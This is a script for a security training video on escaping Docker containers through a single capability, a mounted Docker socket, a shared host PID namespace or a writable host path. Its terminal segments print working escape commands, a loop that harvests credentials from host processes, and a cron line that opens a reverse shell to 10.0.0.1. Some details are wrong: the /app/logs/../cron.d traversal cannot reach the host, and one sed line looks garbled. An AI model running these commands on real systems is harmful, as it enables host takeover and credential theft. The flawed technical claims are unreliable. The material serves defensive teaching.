

Video 2.3: Privilege Escalation and Container Escape Techniques

Duration: 8:00

Format: PPT (20%) / Terminal (45%) / Code Editor (25%) / Browser (10%)

Resolution: 1920x1080 @ 30fps

Prerequisites: Videos 2.1, 2.2

SCRIPT BEGIN

[0:00-0:40] — Context: Beyond -privileged (PPT Slide)

SLIDE: Title: "Escalation Without -privileged"

Subtitle: "Individual capabilities and misconfigurations that lead to escape"

Attack path diagram:

```
Default Container → Single Dangerous Capability → Escalation → Host Access
                  → Mounted Docker Socket → Control Plane → Host Access
                  → Host PID Namespace → Process Injection → Host Access
                  → Writable Host Path → File Manipulation → Host Access
```

NARRATION:

"In the previous lesson, we demonstrated escape from a fully privileged container. But attackers don't always get `--privileged`. In this lesson, we'll explore how individual capabilities, single misconfigurations, and specific container options can each independently lead to container escape. These are more realistic attack scenarios — the kind you'll encounter in penetration tests and real-world incidents."

[0:40-2:15] — Escape via CAP_SYS_ADMIN (Terminal)

SCREEN: Terminal at 150% zoom

NARRATION:

"The single most exploitable capability is CAP_SYS_ADMIN. Let me demonstrate."

COMMAND + EXPLANATION:

```
# Start a container with ONLY SYS_ADMIN added (not --privileged)
$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined \
  alpine sh
```

"This container is NOT privileged — it has only the default capabilities plus SYS_ADMIN. But watch what we can do."

```
# SYS_ADMIN allows mounting filesystems – including cgroup
/ # mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
/ # ls /tmp/cgrp/
```

“SYS_ADMIN allows the mount system call. We can mount the cgroup filesystem — the same technique from the privileged escape.”

```
# Use the cgroup release_agent escape (same as Video 2.2)
/ # mkdir /tmp/cgrp/exploit
/ # echo 1 > /tmp/cgrp/exploit/notify_on_release

# Get the container's overlay path on the host
/ # host_path=$(sed -n 's/.*\perdir=\\([^\,]*\\).*/\\1/p' /etc/mtab)
/ # echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Create the command to execute on the host
/ # cat > /cmd << 'EOF'
#!/bin/sh
ps aux > /output
hostname >> /output
EOF
/ # chmod +x /cmd

# Trigger it
/ # sh -c "echo \\$\\$ > /tmp/cgrp/exploit/cgroup.procs"

# Read the result – host processes!
/ # cat /output
```

“Same escape as before — but from a container that only has SYS_ADMIN, not full privileged mode. This is why SYS_ADMIN alone is considered a container escape vector. Any container with this capability is effectively as dangerous as a privileged container.”

[2:15-3:45] — Escape via Docker Socket Mount (Terminal)

NARRATION:

“The second most common escape vector — Docker socket mounting.”

```
# Start a container with the Docker socket mounted
# This is EXTREMELY common in CI/CD, monitoring tools, and management UIs
$ docker run --rm -it \
  -v /var/run/docker.sock:/var/run/docker.sock \
  docker:latest sh
```

“This container has the Docker socket mounted. This is done intentionally for CI/CD pipelines, monitoring agents like Portainer and Prometheus Docker exporters, and deployment tools. But it’s a direct path to the host.”

```
# From inside: list all containers on the host
/ # docker ps
```

“I can see every container running on this host.”

```
# Create a new privileged container with the host filesystem
/ # docker run --rm -it --privileged -v /:/hostfs alpine sh
```

“I just created a new privileged container from inside this container, with the host filesystem mounted. I’ve escalated from ‘just Docker socket access’ to full privileged host access.”

```
# Read host secrets from the new container
/ # cat /hostfs/etc/shadow | head -3
```

“Full host compromise — achieved entirely through the mounted Docker socket. No capabilities needed, no kernel exploits, just the ability to talk to the Docker daemon.”

```
# Exit both containers
/ # exit
/ # exit
```

CODE EDITOR — Understanding why socket mount is dangerous:

WHY DOCKER SOCKET MOUNT = ROOT ACCESS

=====

1. Docker socket → Docker API access
2. Docker API → Can create ANY container
3. Can create container with:
 - a. --privileged flag
 - b. Host filesystem mount (-v /:/hostfs)
 - c. Host PID namespace (--pid=host)
 - d. Host network namespace (--net=host)
4. New container → Full host access
5. Therefore: Docker socket access = Root access

COMMON SERVICES THAT MOUNT DOCKER SOCKET:

- Portainer (container management UI)
- Traefik (reverse proxy – auto-discovers services)
- Watchtower (auto-updates containers)
- CI/CD agents (Jenkins, GitLab Runner)
- Prometheus Docker exporter
- Datadog/New Relic agents

“Here’s the logic chain. Docker socket access means Docker API access. Docker API access means you can create any container with any configuration. Therefore, Docker socket access equals root access on the host. And look at this list of services that commonly mount the Docker socket — management UIs, reverse proxies, update tools, CI/CD agents, and monitoring agents. Every one of these is a potential escalation point.”

[3:45-5:15] — Escape via Host PID Namespace (Terminal)

NARRATION:

“Next — host PID namespace sharing.”

```
# Start container with host PID namespace
$ docker run --rm -it --pid=host alpine sh
```

“The `--pid=host` flag shares the host’s PID namespace with the container. Let’s see what that gives us.”

```
# List ALL processes – host and all containers
/ # ps aux | head -20
```

“I can see every process on the host — systemd, sshd, Docker daemon, all other container processes. Full process visibility.”

```
# Read environment variables of host processes
/ # cat /proc/1/environ | tr '\0' '\n' | head -10
```

“I can read the environment variables of the host’s init process. Let me target something more interesting.”

```
# Find a process with credentials in its environment
/ # for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do
    env=$(cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n')
    if echo "$env" | grep -qi 'password\|secret\|key\|token'; then
        echo "=== PID $pid ==="
        echo "$env" | grep -i 'password\|secret\|key\|token'
    fi
done
```

“This script scans every process on the host for credential-related environment variables. In production environments, this frequently finds database passwords, API keys, and cloud credentials — because they’re passed as environment variables to containerized applications.”

```
# If the container also has SYS_PTRACE capability, we can inject into processes
# (Demonstrating detection, not full exploit)
$ docker run --rm -it --pid=host --cap-add=SYS_PTRACE alpine sh
/ # ls -la /proc/1/root/
```

“With both host PID namespace and SYS_PTRACE, I can access the root filesystem of any process on the host via `/proc/[pid]/root/`. This effectively gives me filesystem access to the host without mounting any device.”

[5:15-6:30] — Escape via Writable Host Path Mounts (Terminal + Code Editor)

NARRATION:

“The final escalation technique — exploiting writable host path mounts.”

```
# Common scenario: app writes logs to a host directory
$ docker run --rm -it -v /var/log:/app/logs alpine sh
```

“This looks innocent — the container writes logs to the host’s /var/log. But watch what an attacker does with it.”

```
# Write a cron job to the host's cron directory
/ # echo '* * * * * root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' \
  > /app/logs/../cron.d/backdoor
```

“Using path traversal relative to the mounted directory, I wrote a reverse shell cron job to the host’s /var/cron.d/. This executes on the host every minute.”

```
# Exit
/ # exit
```

CODE EDITOR — More host path exploitation techniques:

```
# TECHNIQUE: Exploiting /var/run mount
# If /var/run is mounted (common for shared socket access)
docker run --rm -it -v /var/run:/var/run alpine sh
# Container now has access to Docker socket via /var/run/docker.sock

# TECHNIQUE: Exploiting /etc mount
# If /etc is mounted (common for config sharing)
docker run --rm -it -v /etc:/host-etc alpine sh
# Attacker modifies /host-etc/passwd to add a backdoor user
# Attacker modifies /host-etc/crontab for persistence
# Attacker modifies /host-etc/ssh/sshd_config to weaken SSH

# TECHNIQUE: Exploiting /tmp mount
# If /tmp is shared between container and host
docker run --rm -it -v /tmp:/tmp alpine sh
# Attacker places exploit binaries in /tmp
# If any host process executes from /tmp → compromised

# SAFE ALTERNATIVE: Use named volumes
docker run --rm -it -v app-logs:/app/logs alpine sh
# Named volumes are managed by Docker and isolated from host paths
```

NARRATION:

“Any writable host path mount is a potential escalation vector. The `/var/run` directory often contains the Docker socket. The `/etc` directory allows modifying system configuration. Even `/tmp` can be exploited if host processes execute from it. The safe alternative is to use named volumes — which Docker manages and isolates — instead of host path mounts. When host paths are absolutely necessary, mount them read-only with `:ro`.”

[6:30–7:15] — Escape Technique Summary (PPT Slide)

SLIDE: Title: “Container Escape — Technique Matrix”

Technique	Required Config	Complexity	Detection Difficulty
Privileged + mount disk	<code>--privileged</code>	Low	Medium
Cgroup release_agent	<code>--privileged</code> or <code>SYS_ADMIN</code>	Low	Medium
Docker socket mount	<code>-v docker.sock</code>	Very Low	Low (audit mounts)
Host PID + <code>SYS_PTRACE</code>	<code>--pid=host --cap-add=SYS_PTRACE</code>	Medium	Medium
Host path traversal	<code>-v /host/path:/container/path</code>	Low	High
Kernel exploit	Default container	High	High

NARRATION:

“Here’s the complete matrix. Notice that most escape techniques require LOW complexity — they’re not sophisticated attacks. The most dangerous — Docker socket mount — requires almost no skill at all. The attacker just uses standard Docker commands. Kernel exploits are the only technique that works from a default, non-misconfigured container, and they require high skill. The lesson is clear: most container escapes are caused by misconfiguration, not by exploiting vulnerabilities. Fix the configuration, and you eliminate the majority of escape vectors.”

[7:15-8:00] — Key Takeaways and Bridge (PPT Slide)

SLIDE: Title: “Key Takeaways”

1. **CAP_SYS_ADMIN alone** is enough for container escape
2. **Docker socket mount** = immediate, trivial root access
3. **Host PID namespace** exposes all process data including credentials
4. **Writable host paths** can be exploited for persistence and escalation
5. **Most escapes are misconfiguration** — not vulnerability exploitation
6. **Defense:** Principle of least privilege at every layer

NARRATION:

“Every technique in this lesson exploits a misconfiguration — not a CVE. `SYS_ADMIN` alone is an escape vector. Docker socket mounting is the most common and most trivial. Host PID namespace leaks credentials from all processes. And writable host paths enable persistence. In our final lesson for this module, we’ll shift to real CVE analysis — examining the vulnerabilities that allow escape from properly configured containers. These are rarer, more complex, and more valuable to understand.”

SLIDE: “Next: Real-World CVE Analysis and Exploitation →”

SCRIPT END

Post-Production Notes

- Add persistent “⚠️ LAB ENVIRONMENT” overlay during all terminal segments
- For the Docker socket escape, use a visual diagram overlay showing the escalation chain
- The credential scanning loop should show redacted but realistic-looking output
- Path traversal technique should have the dangerous path highlighted in red
- The technique matrix table should animate in row by row
- Use different terminal colors/prompts to clearly differentiate which container the user is in
- The code editor segments should use syntax highlighting for bash
- Add ethical hacking disclaimer at beginning and end of video